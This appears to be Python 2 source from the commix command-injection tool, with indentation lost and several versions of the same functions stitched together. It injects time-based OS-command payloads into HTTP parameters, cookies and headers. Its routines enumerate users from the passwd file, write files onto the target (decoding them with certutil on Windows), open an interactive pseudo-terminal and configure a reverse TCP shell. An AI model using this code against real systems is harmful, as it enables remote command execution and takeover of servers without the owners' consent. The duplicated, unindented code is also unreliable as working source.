sys_users = " ".join(str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
print ""
else:
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read '" + settings.PASSWD_FILE + "' to enumerate users entries." + Style.RESET_ALL + "\n"
def file_write(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '"+ content + "' "
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
file_contents = "".join(str(p) for p in shell)
except TypeError:
pass
print ""
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!" + Style.RESET_ALL + "\n\n")
sys.stdout.flush()
else:
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n\n")
sys.stdout.flush()
# Do the dec-to-text transformation
settings.TFB_DECIMAL = True
cmd = settings.FILE_WRITE + " '"+ file_contents + "'" + " > " + "'"+ dest_to_write + "'"
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = True
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
content = base64.b64encode(content)
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACE[0]
dest_to_write = dest_to_write.replace("\\","/")
# Find path
path = os.path.dirname(dest_to_write)
path = path.replace("/","\\")
# Change directory
cmd = "cd " + path
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Find filename
filname = os.path.basename(dest_to_write)
tmp_filname = "tmp_" + filname
cmd = settings.FILE_WRITE + content + ">" + tmp_filname
if not menu.options.alter_shell :
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Decode base 64 encoding
cmd = "certutil -decode " + tmp_filname + " " + filname
if not menu.options.alter_shell :
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Delete tmp file
cmd = "del " + tmp_filname
if not menu.options.alter_shell :
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Check if file exists
cmd = "if exist " + filname + " (echo " + filname + ")"
if not menu.options.alter_shell :
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print ""
if shell:
success_msg = "The '" + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + "' file was created successfully!\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + Style.RESET_ALL
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Log previous 'how_long' for later comparison
previous_how_long = how_long
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if how_long == previous_how_long + delay:
# Time relative false positive fixation.
if len(TAG) == output_length:
tmp_how_long = how_long
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
cmd = "echo $((" + str(randv1) + "+" + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long)
if str(tmp_how_long) == str(how_long) and \
str(output) == str(randvcalc) and \
len(TAG) == output_length:
is_vulnerable = True
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
continue
else:
percent = str(float_percent)+"%"
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent)+"%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent)+"%"
break
# Yaw, got shellz!
# Do some magic tricks!
if how_long == previous_how_long + delay:
if (len(TAG) == output_length) and (is_vulnerable == True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_enumeration.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n] > ").lower()
if file_access_again in settings.CHOISE_YES:
#print ""
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
tfb_file_access.do_check(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Exploirt injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.verbose:
print ""
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
while True:
try:
# Tab compliter
readline.set_completer(menu.tab_completer)
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Exploirt injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from /tmp
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def file_write(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '" +
file_to_write + "' file, does not exists." +
Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that '" +
file_to_write + "' is not a file." + Style.RESET_ALL)
sys.stdout.flush()
if not settings.TMP_PATH in menu.options.file_dest:
file_name = os.path.split(menu.options.file_dest)[1]
dest_to_write = settings.TMP_PATH + file_name
else:
dest_to_write = menu.options.file_dest
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_write = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
OUTPUT_TEXTFILE = dest_to_write
# Execute command
cmd = settings.FILE_WRITE + " '" + content + "' "
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
shell = output
try:
file_contents = "".join(str(p) for p in shell)
except TypeError:
pass
print ""
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE +
shell + Style.RESET_ALL + Style.BRIGHT +
" file was created successfully!" + Style.RESET_ALL +
"\n\n")
sys.stdout.flush()
else:
sys.stdout.write(
Fore.YELLOW +
"(^) Warning: It seems that you don't have permissions to write the '"
+ dest_to_write + "' file." + Style.RESET_ALL + "\n\n")
sys.stdout.flush()
# Do the dec-to-text transformation
settings.TFB_DECIMAL = True
cmd = settings.FILE_WRITE + " '" + file_contents + "'" + " > " + "'" + dest_to_write + "'"
response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
suffix, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method,
url_time_response):
# percent = "0.2"
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
how_long_statistic = 0
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + "(x) Error: The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
# percent = str(percent)+ "%"
# sys.stdout.write("\r(*) Testing the " + technique + "... " + "[ " + percent + " ]")
# sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) *
len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell:
payload = tfb_payloads.decision_alter_shell(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
else:
payload = tfb_payloads.decision(
separator, output_length, TAG, OUTPUT_TEXTFILE,
delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY +
"(~) Payload: " +
payload.replace("\n", "\\n") +
Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
how_long = tfb_injector.referer_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(
payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
# Statistical analysis in .
how_long_statistic = how_long_statistic + how_long
if output_length == tag_length - 1:
how_long_statistic = 0
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
if len(TAG) == output_length and \
how_long > (how_long_statistic / output_length):
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(
randv1) + " + " + str(
randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(
randv1) + " + " + str(
randv2) + ")"
else:
cmd = "echo $((" + str(
randv1) + " + " + str(
randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(
separator, TAG, cmd, prefix, suffix,
delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
randvcalc, alter_shell, how_long,
url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(
randvcalc) and len(
TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent) + "%"
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd,
prefix, suffix,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(
round(((num_of_chars * 100) / (total * 1.0)), 2))
if percent == 100:
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " +
technique + "... " +
"[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
break
else:
percent = str(float_percent) + "%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique +
"... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and (is_vulnerable
== True):
found = True
no_result = False
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
